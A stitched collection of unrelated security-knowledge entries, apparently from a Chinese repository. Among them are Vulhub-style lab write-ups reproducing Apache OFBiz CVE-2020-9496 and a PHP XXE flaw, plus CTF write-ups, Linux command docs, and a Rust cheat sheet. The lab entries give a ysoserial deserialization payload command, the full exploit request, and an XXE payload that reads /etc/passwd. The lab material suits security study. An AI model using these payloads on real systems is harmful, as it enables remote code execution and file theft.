`Ctrl` `K`| Commit project to VCS
`Ctrl` `T`| Update from VCS
`Alt` `Shift` `C`| View recent changes
`Alt` <kbd>\`</kbd> | VCS Operations Popup
{.shortcuts}
### General
| shortcut | description |
|----|---------|
`Alt` `0...9`| Open corresponding tool window
`Ctrl` `S`| Save all
`Ctrl` `Alt` `Y`| Synchronize
`Ctrl` `Shift` `F12`| Toggle maximizing editor
`Alt` `Shift` `F`| Add to Favorites
`Alt` `Shift` `I`| Inspect current file
`Ctrl` <kbd>\`</kbd>| Quick switch current scheme
`Ctrl` `Alt` `S`| Open Settings dialog
`Ctrl` `Alt` `Shift` `S`| Open Project Structure dialog
`Ctrl` `Shift` `A`| Find Action
`Ctrl` `Tab`| Switch between tool and tabs
{.shortcuts}
|
sec-knowleage
|
# Unsafe deserialization of XMLRPC arguments in ApacheOfBiz (CVE-2020-9496)
[中文版本(Chinese version)](README.zh-cn.md)
Apache OFBiz is an open source enterprise resource planning (ERP) system. It provides a suite of enterprise applications that integrate and automate many of the business processes of an enterprise.
OfBiz exposes an XMLRPC endpoint at `/webtools/control/xmlrpc`. This is an unauthenticated endpoint since authentication is applied on a per-service basis. However, the XMLRPC request is processed before authentication. As part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands on any OfBiz server with same privileges as the servlet container running OfBiz.
References:
1. https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
2. https://github.com/dwisiswant0/CVE-2020-9496
3. https://www.cnblogs.com/ph4nt0mer/p/13576739.html
## Vulnerable environment
Executing following command to start an Apache OfBiz (17.12.01):
```
docker compose up -d
```
After a short wait, you can see the login page at `https://your-ip/myportal/control/main`.
## Vulnerability Reproduce
There is no error message in response by default, we can't reproduce the vulnerability using the POC of [reference link 2](https://github.com/dwisiswant0/CVE-2020-9496), so ask [ysoserial](https://github.com/frohoff/ysoserial) for help.
Generate the CommonsBeanutils1 payload:
```
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" | base64 | tr -d "\n"
```

Replace the `[base64-payload]` and send the request:
```
POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
```

`touch /tmp/success` is succesful executing in the container:

|
sec-knowleage
|
### 反馈移位寄存器介绍
- $a_0$,$a_1$,…,$a_{n-1}$,为初态。
- F 为反馈函数或者反馈逻辑。如果 F 为线性函数,那么我们称其为线性反馈移位寄存器(LFSR),否则我们称其为非线性反馈移位寄存器(NFSR)。
- $a_{i+n}=F(a_i,a_{i+1},...,a_{i+n-1})$ 。
一般来说,反馈移位寄存器都会定义在某个有限域上,从而避免数字太大和太小的问题。因此,我们可以将其视为同一个空间中的变换,即
$(a_i,a_{i+1},...,a_{i+n-1}) \rightarrow (a_{i+1},...,a_{i+n-1},a_{i+n})$
.
对于一个序列来说,我们一般定义其生成函数为其序列对应的幂级数的和。
|
sec-knowleage
|
bzless
===
增强.bz2压缩包查看器
## 补充说明
**bzless命令** 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。
### 语法
```shell
bzless(参数)
```
### 参数
文件:指定要分屏显示的.bz2压缩包。
|
sec-knowleage
|
/*
* This Java source file was generated by the Gradle 'init' task.
*/
package train.rmi;
import train.rmi.remote.impl.RemoteHello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) {
try{
String name = "Hello";
RemoteHello h = new RemoteHello();
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.rebind(name, h);
System.out.println("Hello obj bound");
}catch (Exception e){
e.printStackTrace();
}
}
}
|
sec-knowleage
|
# JohnnyBoy (re, 223p)
> This looks retro but somewhat futuristic! I always lose though, can you win? My friends solved this without IDA! https://youtu.be/Dem8Fq6hkAw
> chall.ino.hex
Well, this challenge was very frustrating to me. We were given a compiled AVR code,
which meant we were not able to use IDA's decompiler or anything similar.
I spent hours reversing the actual logic in the code, only to notice that the game win
screen function is called with a specific argument. At the address pointed by that argument,
there was a mysterious buffer of random-looking bytes. Interpreting them as black&white image
gives us flag:

|
sec-knowleage
|
vgchange
===
修改卷组属性
## 补充说明
**vgchange命令** 用于修改卷组的属性,经常被用来设置卷组是处于活动状态或非活动状态。处于活动状态的卷组无法被删除,必须使用vgchange命令将卷组设置为非活动状态后才能删除。
### 语法
```shell
vgchange(选项)(参数)
```
### 选项
```shell
-a:设置卷组的活动状态。
```
### 参数
卷组:指定要设置属性的卷组。
### 实例
使用vgchange命令将卷组状态改为活动的。在命令行中输入下面的命令:
```shell
[root@localhost ~]# vgchange -ay vg1000 #将卷组"vg1000"设置为活动状态
```
输出信息如下:
```shell
1 logical volume(s) in volume group "vg1000" now active
```
|
sec-knowleage
|
---
title: Rust
date: 2022-01-01 11:51:44
background: bg-black
tags:
categories:
- Programming
intro: |
The Rust quick reference cheat sheet that aims at providing help on writing basic syntax and methods.
plugins:
- copyCode
---
Getting Started
---------------
### Hello_World.rs
```rust
fn main() {
println!("Hello, World!");
}
```
#### Compiling and Running
```shell
$ rustc Hello_World.rs
$ ./Hello_World
Hello, World!
```
### Primitive types
| | |
|---------------------------|----------------------------------|
| `bool` | Boolean (`true` _/_ `false`) |
| `char` | character |
| `f32`, `f64` | 32-bits, 64-bits floats |
| `i64`, `i32`, `i16`, `i8` | signed 16- ... integers |
| `u64`, `u32`, `u16`, `u8` | unsigned 16-bits, ... integers |
| `isize` | pointer-sized signed integers |
| `usize` | pointer-sized unsigned integers |
See: [Rust Types](#rust-types)
### Formatting {.row-span-2}
```rust {.wrap}
// Single Placeholder
println!("{}", 1);
// Multiple Placeholder
println!("{} {}", 1, 3);
// Positional Arguments
println!("{0} is {1} {2}, also {0} is a {3} programming language", "Rust", "cool", "language", "safe");
// Named Arguments
println!("{country} is a diverse nation with unity.", country = "India");
// Placeholder traits :b for binary, :0x is for hex and :o is octal
println!("Let us print 76 is binary which is {:b} , and hex equivalent is {:0x} and octal equivalent is {:o}", 76, 76, 76);
// Debug Trait
println!("Print whatever we want to here using debug trait {:?}", (76, 'A', 90));
// New Format Strings in 1.58
let x = "world";
println!("Hello {x}!");
```
### Printing Styles
```rust
// Prints the output
print!("Hello World\n");
// Appends a new line after printing
println!("Appending a new line");
// Prints as an error
eprint!("This is an error\n");
// Prints as an error with new line
eprintln!("This is an error with new line");
```
### Variables
```rust
// Initializing and declaring a variable
let some_variable = "This_is_a_variable";
// Making a variable mutable
let mut mutable_variable = "Mutable";
// Assigning multiple variables
let (name, age) = ("ElementalX", 20);
// (Global) constant
const SCREAMING_SNAKE_CASE:i64 = 9;
```
### Comments
```rust
// Line Comments
/*.............Block Comments */
/// Outer doc comments
//! Inner doc comments
```
See: [Comment](https://doc.rust-lang.org/reference/comments.html)
### Functions
```rust
fn test(){
println!("This is a function!");
}
fn main(){
test();
}
```
See: [Functions](#rust-functions)
Rust Types
--------------
### Integer
```rust
let mut a: u32 = 8;
let b: u64 = 877;
let c: i64 = 8999;
let d = -90;
```
### Floating-Point
```rust
let mut sixty_bit_float: f64 = 89.90;
let thirty_two_bit_float: f32 = 7.90;
let just_a_float = 69.69;
```
### Boolean
```rust {.wrap}
let true_val: bool = true;
let false_val: bool = false;
let just_a_bool = true;
let is_true = 8 < 5; // => false
```
### Character
```rust
let first_letter_of_alphabet = 'a';
let explicit_char: char = 'F';
let implicit_char = '8';
let emoji = "\u{1f600}"; // => 😀
```
### String Literal
```rust {.wrap}
let community_name = "AXIAL";
let no_of_members: &str = "ten";
println!("The name of the community is {community_name} and it has {no_of_members} members");
```
See: [Strings](#rust-strings)
### Arrays
```rust
┌─────┬─────┬─────┬─────┬─────┬─────┐
| 92 | 97 | 98 | 99 | 98 | 94 |
└─────┴─────┴─────┴─────┴─────┴─────┘
0 1 2 3 4 5
```
----
```rust
let array: [i64; 6] = [92,97,98,99,98,94];
```
### Multi-Dimensional Array {.row-span-2}
```rust
j0 j1 j2 j3 j4 j5
┌────┬────┬────┬────┬────┬────┐
i0 | 1 | 2 | 3 | 4 | 5 | 6 |
├────┼────┼────┼────┼────┼────┤
i1 | 6 | 5 | 4 | 3 | 2 | 1 |
└────┴────┴────┴────┴────┴────┘
```
----
```rust
let array: [[i64; 6] ;2] = [
[1,2,3,4,5,6],
[6,5,4,3,2,1]];
```
### Mutable Array
```rust
let mut array: [i32 ; 3] = [2,6,10];
array[1] = 4;
array[2] = 6;
```
Use the `mut` keyword to make it mutable.
### Slices
```rust
let mut array: [ i64; 4] = [1,2,3,4];
let mut slices: &[i64] = &array[0..3] // Lower range is inclusive and upper range is exclusive
println!("The elements of the slices are : {slices:?}");
```
### Vectors
```rust
let some_vector = vec![1,2,3,4,5];
```
A vector is declared using the `vec!` macro.
### Tuples
```rust
let tuple = (1, 'A' , "Cool", 78, true);
```
Rust Strings
--------------
### String Literal
```rust
let cs:&str = "cheat sheet";
// => Share cheat sheet for developers
println!("Share {cs} for developers");
```
### String Object
```rust
// Creating an empty string object
let my_string = String::new;
// Converting to a string object
let S_string = a_string.to_string()
// Creating an initialized string object
let lang = String::from("Rust");
println!("First language is {lang}");
```
### .capacity()
```rust
let rand = String::from("Random String");
rand.capacity() // => 13
```
Calculates the capacity of the string in bytes.
### .contains()
```rust
let name = String::from("ElementalX");
name.contains("Element") // => true
```
Checks if the substring is contained inside the original string or not.
### Pushing a single character
```rust
let mut half_text = String::from("Hal");
half_text.push('f'); // => Half
```
### Pushing an entire String
```rust
let mut hi = String::from("Hey there...");
hi.push_str("How are you doing??");
// => Hey there...How are you doing??
println!("{hi}");
```
Rust Operators
-----------
### Comparison Operators
| | |
|----------|----------------------------------|
| `e == f` | `e` is equal to `f` |
| `e != f` | `e` is NOT equal to `f` |
| `e < f` | `e` is less than `f` |
| `e > f` | `e` is greater `f` |
| `e <= f` | `e` is less than or equal to `f` |
| `e >= f` | `e` is greater or equal to `f` |
---------
```rust
let (e, f) = (1, 100);
let greater = f > e; // => true
let less = f < e; // => false
let greater_equal = f >= e; // => true
let less_equal = e <= f; // => true
let equal_to = e == f; // => false
let not_equal_to = e != f; // => true
```
### Arithmetic Operators
| | |
|----------|--------------------------------------------|
| `a + b` | `a` is added to `b` |
| `a - b` | `b` is subtracted from `a` |
| `a / b` | `a` is divided by `b` |
| `a % b` | Gets remainder of `a` by dividing with `b` |
| `a * b` | `a` is multiplied with `b` |
------
```rust {.wrap}
let (a, b) = (4, 5);
let sum: i32 = a + b; // => 9
let subtractions: i32 = a - b; // => -1
let multiplication: i32 = a * b; // => 20
let division: i32 = a / b; // => 0
let modulus: i32 = a % b; // => 4
```
### Bitwise Operators
| Operator | Description |
|----------|-------------------------|
| `g & h` | Binary AND |
| `g | h` | Binary OR |
| `g ^ h` | Binary XOR |
| `g ~ h` | Binary one's complement |
| `g << h` | Binary shift left |
| `g >> h` | Binary shift right |
-----
```rust {.wrap}
let (g, h) = (0x1, 0x2);
let bitwise_and = g & h; // => 0
let bitwise_or = g | h; // => 3
let bitwise_xor = g ^ h; // => 3
let right_shift = g >> 2; // => 0
let left_shift = h << 4; // => 32
```
### Logical Operators
| Example | Meaning |
|----------------|------------------------|
| `c && d` | Both are true _(AND)_ |
| `c || d` | Either is true _(OR)_ |
| `!c` | `c` is false _(NOT)_ |
------
```rust
let (c, d) = (true, false);
let and = c && d; // => false
let or = c || d; // => true
let not = !c; // => false
```
### Compound Assignment Operator
```rust
let mut k = 9;
let mut l = k;
```
----
| Operator | Description |
|-----------|-----------------------------------------|
| `k += l` | Add a value and assign, then k=9 |
| `k -= l` | Substrate a value and assign, then k=18 |
| `k /= l` | Divide a value and assign, then k=9 |
| `k *= l` | Multiply a value and assign, then k=81 |
| `k |= l` | Bitwise OR and assign, then k=89 |
Rust Flow Control
--------------
### If Expression
```rust
let case1: i32 = 81;
let case2: i32 = 82;
if case1 < case2 {
println!("case1 is greater than case2");
}
```
### If...Else Expression
```rust
let case3 = 8;
let case4 = 9;
if case3 >= case4 {
println!("case3 is better than case4");
} else {
println!("case4 is greater than case3");
}
```
### If...Else...if...Else Expression
```rust
let foo = 12;
let bar = 13;
if foo == bar {
println!("foo is equal to bar");
} else if foo < bar {
println!("foo less than bar");
} else if foo != bar {
println!("foo is not equal to bar");
} else {
println!("Nothing");
}
```
### If...Let Expression {.row-span-3}
```rust
let mut arr1:[i64 ; 3] = [1,2,3];
if let[1,2,_] = arr1{
println!("Works with array");
}
let mut arr2:[&str; 2] = ["one", "two"];
if let["Apple", _] = arr2{
println!("Works with str array too");
}
```
----
```rust
let tuple_1 = ("India", 7, 90, 90.432);
if let(_, 7, 9, 78.99) = tuple_1{
println!("Works with tuples too");
}
let tuple_2 = ( 9, 7, 89, 12, "Okay");
if let(9, 7,89, 12, blank) = tuple_2 {
println!("Everything {blank} mate?");
}
let tuple_3 = (89, 90, "Yes");
if let(9, 89, "Yes") = tuple_3{
println!("Pattern did match");
}
else {
println!("Pattern did not match");
}
```
### Match Expression {.row-span-3}
```rust
let day_of_week = 2;
match day_of_week {
1 => {
println!("Its Monday my dudes");
},
2 => {
println!("It's Tuesday my dudes");
},
3 => {
println!("It's Wednesday my dudes");
},
4 => {
println!("It's Thursday my dudes");
},
5 => {
println!("It's Friday my dudes");
},
6 => {
println!("It's Saturday my dudes");
},
7 => {
println!("It's Sunday my dudes");
},
_ => {
println!("Default!")
}
};
}
```
### Nested...If Expression
```rust
let nested_conditions = 89;
if nested_conditions == 89 {
let just_a_value = 98;
if just_a_value >= 97 {
println!("Greater than 97");
}
}
```
### For Loop
```rust
for mut i in 0..15 {
i-=1;
println!("The value of i is : {i}");
}
```
### While Loop
```rust
let mut check = 0;
while check < 11{
println!("Check is : {check}");
check+=1;
println!("After incrementing: {check}");
if check == 10{
break; // stop while
}
}
```
### Loop keyword
```rust
loop {
println!("hello world forever!");
}
```
The infinite loop indicated.
### Break Statement
```rust
let mut i = 1;
loop {
println!("i is {i}");
if i > 100 {
break;
}
i *= 2;
}
```
### Continue Statement
```rust
for (v, c) in (0..10+1).enumerate(){
println!("The {c} number loop");
if v == 9{
println!("Here we go continue?");
continue;
}
println!{"The value of v is : {v}"};
}
```
Rust Functions
--------------
### Basic function
```rust
fn print_message(){
println!("Hello, QuickRef.ME!");
}
fn main(){
//Invoking a function in Rust.
print_message();
}
```
### Pass by Value
```rust
fn main()
{
let x:u32 = 10;
let y:u32 = 20;
// => 200
println!("Calc: {}", cal_rect(x, y));
}
fn cal_rect(x:u32, y:u32) -> u32
{
x * y
}
```
### Pass by Reference
```rust
fn main(){
let mut by_ref = 3; // => 3
power_of_three(&mut by_ref);
println!("{by_ref}"); // => 9
}
fn power_of_three(by_ref: &mut i32){
// de-referencing is important
*by_ref = *by_ref * *by_ref;
println!("{by_ref}"); // => 9
}
```
### Returns
```rust {.wrap}
fn main(){
let (mut radius, mut pi) = (3.0, 3.14);
let(area, _perimeter) = calculate (
&mut radius,
&mut pi
);
println!("The area and the perimeter of the circle are: {area} & {_perimeter}");
}
fn calculate(radius : &mut f64, pi: &mut f64) -> (f64, f64){
let perimeter = 2.0 * *pi * *radius;
let area = *pi * *radius * *radius;
return (area, perimeter);
}
```
### Arrays as Arguments
```rust
fn main(){
let mut array: [i32 ; 5] = [1,2,3,4,6];
print_arrays(array);
println!("The elements: {array:?}");
}
fn print_arrays(mut array:[i32; 5]) {
array[0] = 89;
array[1] = 90;
array[2] = 91;
array[3] = 92;
array[4] = 93;
println!("The elements: {array:?}");
}
```
### Returning Arrays
```rust
fn main(){
let mut arr:[i32; 5] = [2,4,6,8,10];
multiply(arr);
println!("The array is : {:?}", multiply(arr));
}
fn multiply (mut arr: [i32 ; 5]) -> [i32 ; 5]{
arr[2] = 90;
for mut i in 0..5 {
arr[i] = arr[i] * arr[2];
}
return arr;
}
```
Misc
--------------
### Type Casting
```rust
let a_int = 90; // int
// int to float
let mut type_cast = (a_int as f64);
```
------
```rust
let orginal: char = 'I';
// char to int => 73
let type_casted: i64 = orginal as i64;
```
To perform type-casting in Rust one must use the `as` keyword.
### Borrowing
```rust
let mut foo = 4;
let mut borrowed_foo = &foo;
println!("{borrowed_foo}");
```
------
```rust
let mut bar = 3;
let mut mutable_borrowed_bar = &mut bar;
println!("{mutable_borrowed_bar}");
```
Here borrowed value borrows the value from value one using `&` operator.
### De-referencing
```rust
let mut borrow = 10;
let deref = &mut borrow;
println!("{}", *deref);
```
De-referencing in rust can be done using the `*` operator
### Variable Scope
```rust
{
// The scope limited to this braces
let a_number = 1;
}
println!("{a_number}");
```
This will produce error as the scope of the variable `a_number` ends at the braces
Also see
--------
- [The Rust Document](https://doc.rust-lang.org/book/ch00-00-introduction.html) _(doc.rust-lang.org)_
- [The Rust Reference](https://doc.rust-lang.org/reference/introduction.html) _(doc.rust-lang.org)_
- [Rust Cheatsheet](https://phaiax.github.io/rust-cheatsheet/) _(phaiax.github.io)_
|
sec-knowleage
|
.\"
.\" $Id: sq.1,v 1.12 2005/04/14 14:38:23 geoff Exp $
.\"
.\" Copyright 1992, 1993, 1999, 2001, Geoff Kuenning, Claremont, CA
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\"
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All modifications to the source code must be clearly marked as
.\" such. Binary redistributions based on modified source code
.\" must be clearly marked as modified versions in the documentation
.\" and/or other materials provided with the distribution.
.\" 4. The code that causes the 'ispell -v' command to display a prominent
.\" link to the official ispell Web site may not be removed.
.\" 5. The name of Geoff Kuenning may not be used to endorse or promote
.\" products derived from this software without specific prior
.\" written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY GEOFF KUENNING AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL GEOFF KUENNING OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" $Log: sq.1,v $
.\" Revision 1.12 2005/04/14 14:38:23 geoff
.\" Update license.
.\"
.\" Revision 1.11 2001/07/25 21:51:46 geoff
.\" Minor license update.
.\"
.\" Revision 1.10 2001/07/23 20:24:04 geoff
.\" Update the copyright and the license.
.\"
.\" Revision 1.9 2000/07/19 23:30:12 geoff
.\" Add a bugs section, and mention gzip instead of compress
.\"
.\" Revision 1.8 1999/01/07 01:57:39 geoff
.\" Update the copyright.
.\"
.\" Revision 1.7 1995/11/08 05:09:25 geoff
.\" Put the synopsis on one line so some versions of "makewhatis" don't
.\" break.
.\"
.\" Revision 1.6 1994/01/25 07:12:07 geoff
.\" Get rid of all old RCS log lines in preparation for the 3.1 release.
.\"
.\"
.TH SQ 1 LOCAL
.SH "名称"
sq, unsq \- 压缩或解压缩一个已排序的单词列表
.SH "总览"
.B sq
< infile > outfile
.PP
.B unsq
< infile > outfile
.SH "描述"
.I sq
压缩一个排过序的单词列表(一个字典)。
例如:
.RS
sort \-u /usr/share/dict/words | sq | gzip \-9 > words.sq.gz
.RE
会以接近 4 的压缩系数对字典进行压缩。
.PP
.I unsq
解压
.I sq
的输出。例如:
.RS
gunzip < words.sq.gz | unsq | sort \-f \-o words
.RE
会解压
.I sq
所压缩的字典。
.P
压缩过程将会去除共同的前缀,将它们替换为单个字符,以此编码先前单词中的共同部分。
前缀的长度由单个可打印字符编码:
0\-9 代表 0\-9,A\-Z 代表 10\-35,a\-z 代表 36\-61。
.SH "缺陷"
.I sq
和
.I unsq
只能处理最长 256 字符的单词。
输入数据必须已经过排序,且不可出现重复单词。
.SH "作者"
Mike Wexler
.SH "参见"
compress(1), sort(1).
.\" manpages-zh translator: Boyuan Yang <073plan@gmail.com>
.\" manpages-zh orig-date: 2005-04-14
.\" manpages-zh date: 2016-12-18
.\" manpages-zh orig-package: ispell
|
sec-knowleage
|
# PHP环境 XML外部实体注入漏洞(XXE)
环境介绍:
- PHP 7.0.30
- libxml 2.8.0
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
使用如下命令编译并启动环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080/index.php`即可看到phpinfo,搜索libxml即可看到其版本为2.8.0。
Web目录为`./www`,其中包含4个文件:
```bash
$ tree .
.
├── dom.php # 示例:使用DOMDocument解析body
├── index.php
├── SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
└── simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
```
`dom.php`、`SimpleXMLElement.php`、`simplexml_load_string.php`均可触发XXE漏洞,具体输出点请阅读这三个文件的代码。
Simple XXE Payload:
```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
```
输出:

更多高级利用方法,请自行探索。
|
sec-knowleage
|
# Shenzhen - Office
Category: Misc.
## Description
> You’re exiting a crowded subway nearby the office that you are about to visit. You are showing the guards your ID and answering a couple of routine questions. They are not impressed, but the gate opens up and you can enter the area despite their doubt. You are not allowed to stroll freely on the company grounds, but are shown around by a woman that stares at you with a crooked smile. At last you're able to talk to the manager, a short man with a white robe and shades: "Greetings, AGENT, You must be thirsty after your long journey? No? You don’t mind if I’ll have something for myself, do you? Good! We have heard about the device that you possess, can I have a look at it. Hmm, it seems that it is encrypted. Help me break this quickly so that we can continue with the analysis."
>
> Challenge: To the moon (misc)
>
> This one is a doozie. We found this weird file on a memory stick with a post-it note on it. It looks like someone was working on a very obscure encryption system. Maybe we can decode it?
Two files were attached: `chall.txt` and `encodings`.
## Solution
This challenge wasn't trivial and I got a few hints for it.
Let's check the attached files:
`encodings`:
```
I made a super secret encoder. I remember using:
- a weird base, much higher than base64
- a language named after a painter
- a language that is the opposite of good
- a language that looks like a rainbow cat
- a language that is too vulgar to write here
- a language that ended in 'ary' but I don't remember the full name
I also use gzip and zlib (to compress the stuff) and I like hiding things in files...
```
`chall.txt` (showing only beginning):
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office/download]
└─$ cat chall.txt| head -c 258
魦浤魦敥攰攱阴欴渴欴攰昰昰攰攰昰攰昰攰攰魦晥昸阶樴洷渶欶攰攰餴餴攰防攰攰攰洰攰樰昰阱攰樰攰攰攰昰攰攰攰阴昰霱攰樰攰攰攰昰攰攰攰朵昰洲攰栰攰攰攰昰攰昰攰攰昰霳攰朰攰攰昸洰攰攰
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office/download]
└─$ xxd -g 1 chall.txt | head
00000000: e9 ad a6 e6 b5 a4 e9 ad a6 e6 95 a5 e6 94 b0 e6 ................
00000010: 94 b1 e9 98 b4 e6 ac b4 e6 b8 b4 e6 ac b4 e6 94 ................
00000020: b0 e6 98 b0 e6 98 b0 e6 94 b0 e6 94 b0 e6 98 b0 ................
00000030: e6 94 b0 e6 98 b0 e6 94 b0 e6 94 b0 e9 ad a6 e6 ................
00000040: 99 a5 e6 98 b8 e9 98 b6 e6 a8 b4 e6 b4 b7 e6 b8 ................
00000050: b6 e6 ac b6 e6 94 b0 e6 94 b0 e9 a4 b4 e9 a4 b4 ................
00000060: e6 94 b0 e9 98 b2 e6 94 b0 e6 94 b0 e6 94 b0 e6 ................
00000070: b4 b0 e6 94 b0 e6 a8 b0 e6 98 b0 e9 98 b1 e6 94 ................
00000080: b0 e6 a8 b0 e6 94 b0 e6 94 b0 e6 94 b0 e6 98 b0 ................
00000090: e6 94 b0 e6 94 b0 e6 94 b0 e9 98 b4 e6 98 b0 e9 ................
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office/download]
└─$ wc -c chall.txt
261846 chall.txt
```
Remember the first clue: *a weird base, much higher than base64*.
There are only so many encodings larger than `64`. [Base65536](https://github.com/qntm/base65536) is one of them, and it turns out it can decode the file:
```python
>>> import base65536
>>> with open("download/chall.txt", encoding="utf8") as f, open("out1.bin", "wb") as o:
... o.write(base65536.decode(f.read()))
...
174564
```
We get:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out1.bin
out1.bin: ASCII text, with very long lines, with no line terminators
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ head -c 100 out1.bin
ffd8ffe000104a46494600010100000100010000ffe1816a4578696600004d4d002a000000080005011a0005000000010000
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ cat out1.bin | sed 's/./&\n/g' | LC_COLLATE=C sort -u | tr -d '\n'
0123456789abcdef
```
So this is a HEX encoding, let's decode it:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ cat out1.bin | xxd -p -r > out2.bin
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out2.bin
out2.bin: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=1], baseline, precision 8, 1131x707, components 3
```
We got a JPEG image:

Using Google Images, this seems to be a famous painting by the geometric abstract art pioneer [Piet Mondrian](https://en.wikipedia.org/wiki/Piet_Mondrian). Remember the second clue: *a language named after a painter*. There actually is an esoteric language named after this painter: [Piet](https://esolangs.org/wiki/Piet). However, since no Piet tool seems to be able to parse the JEPG file, we look elsewhere, and with the help of `exiftool` we notice a strange `artist` field:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ exiftool out2.jpg | grep Artist | head -c 100
Artist : zaeeaeeuewawaweeeuuwaawuwueeuwaawuwaaawuuuuwuwuuuwaawaawaaaawueuee
```
Remember the clue: *a language that is the opposite of good*. That must be [evil](https://esolangs.org/wiki/Evil). So, we visit the [evil Programming Language Homepage](http://web.archive.org/web/20070103000858/www1.pacific.edu/~twrensch/evil/index.html), grab the [Java implementation](http://web.archive.org/web/20070906133127/http://www1.pacific.edu/~twrensch/evil/evil.java), modify it a bit and run it on the extracted evil artist. Since the output turns out to be hex, we'll pipe it through `xxd` to create a binary:
```
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ javac evil.java
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ java evil <(exiftool out2.jpg | grep Artist | awk '{ printf $3 }') | xxd -p -r > out3.bin
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out3.bin
out3.bin: zlib compressed data
```
We got `zlib` compressed data, let's inflate it:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ zlib-flate -uncompress < out3.bin > out4.bin
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out4.bin
out4.bin: gzip compressed data, last modified: Thu Jul 15 08:21:18 2021, max compression, original size modulo 2^32 701584
```
Now we get a `gzip` archive:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ mv out4.bin out4.gz
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ gunzip out4.gz
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ file out4
out4: Netpbm image data, size = 1827 x 128, rawbits, pixmap
```
We get an image file, and now it's time for `piet` (using [Pyet](https://github.com/jdherg/pyet) - a Python interpreter):
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office/pyet]
└─$ python3 image_to_source.py ../out4 > ../out4.pyet
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office/pyet]
└─$ python3 pyet.py ../out4.pyet > ../out5.bin
^C
```
`pyet` is a bit buggy and we need to kill it after a few seconds, it pads the output with `0x01` and we need to remove that:
```console
┌──(user@kali)-[/media/sf_CTFs/google/6_Shenzhen_-_Office]
└─$ cat out5.bin | tr -d '\01'
